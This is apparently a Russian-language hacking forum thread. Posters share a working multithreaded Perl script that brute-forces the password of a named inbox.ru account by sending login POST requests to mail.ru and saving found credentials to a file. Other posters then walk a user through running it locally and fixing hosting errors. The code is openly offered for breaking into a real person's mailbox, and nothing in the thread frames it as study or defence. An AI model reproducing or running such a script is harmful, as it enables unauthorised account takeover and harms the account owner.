Давести php до ума.

fatalo
На каком хосте у тебя скрипт пошел?

 

http://www.denwer.ru/

 

тоже самое, только на перле с многопоточностью

Code:

#!/usr/bin/perl -w
use IO::Socket; 
use threads;

#####
$threads = 10;
$login = "shock.world";  
$domain = "inbox.ru";  
#####

open(PASS, "<pass.txt");
open(GOOD, ">>good.txt");
@p = <PASS>;
$hostname = "win.mail.ru";   
$path = "/cgi-bin/auth"; 

sub brut( $ ) {
    my $c = $_[0];
    
    for(my $i=$c;$i<scalar(@p);$i+=$threads)
    {
        my $pass = $p[$i];
        $pass =~ s/[\r\n]+$//;
        
        $connect = IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>$hostname, PeerPort=>"80") or die("Connection problems."); 
        
        $data = "Login=$login&Domain=$domain&Password=$pass&page=1&post=1&login_from=1"; # отправляемые даные!  
        $post = "POST $path HTTP/1.1\r\n".   
            "Host: $hostname\r\n".
            "Connection: close\r\n".
            "User-Agent: Opera/9.63 (Windows NT 6.0; U; en)\r\n".
            "Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n".
            "Accept-Language: en-us,en;q=0.5\r\n".
            "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n".
            "Referer: $hostname\r\n".
            "Content-Type: application/x-www-form-urlencoded\r\n".
            "Content-Length: ".length($data)."\r\n\r\n".$data;
    
        print $connect $post;

        my $page = ''; 
        while ($answer = <$connect>) {
            if($answer =~ /Location/) {
                print GOOD "$login@$domain:$pass\n";
                die("Pass was bruted: $pass\n");
            }
            $page .= $answer;
            
        }
        close $connect;

        print "Attemt #".($i+1)."\n";
    }
}

my @threadz;

for(0..($threads-1)) {
    push @threadz, threads->create(\&brut,$_);
    sleep(1);
}

for(@threadz) {
    $_->join();
}

 

А под каким расширением сохранять этот скрипт? Может кто знает нормальный хост с поддержкой perl, желательно бесплатный.

 

сохраняй .pl ... Проще скачай ActivePerl и запусти на локахосте

 

Скачал прогу. Сохранил твой скрипт с расширением pl а как запустить его на локалхосте? Пробовал на компе открыть файл но окно появилось и исчезло.

 

создай 1.bat внутри его cmd.exe потом пишешь perl название.pl

 

в скрипте исправь мыло которое брутить собираешься..и в папку с ним сунь файл pass.txt с паролями

 

Моет кто знает че за х... Закинул в папку скрипт от fatalo, pass.txt и good.txt, а при запуске этого скрипта пишет следующее:

Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in /home/www/xxx.100webspace.net/devil/sniff.php on line 13

Warning: fsockopen() [function.fsockopen]: unable to connect to win.mail.ru:80 (Unknown error) in /home/www/xxx.100webspace.net/devil/sniff.php on line 13
А****ть!



Загружал на разные хосты. Может кто нибудь знает норм хост с поддержкой perl

 

Менял права пишет следующее:


Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, support@100webspace.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

Apache/1.3.33 Server at xxx.100webspace.net Port 80

 

запусти скрипт perl брут от [dei] на компе прям через ActivePerl

 

А с помощью какого ярлыка скрипт запускать (perl, perl5.8.8 там их дахера)

 

в командной строке "perl c:\адрес скрипта\название скрипта.pl" без кавычек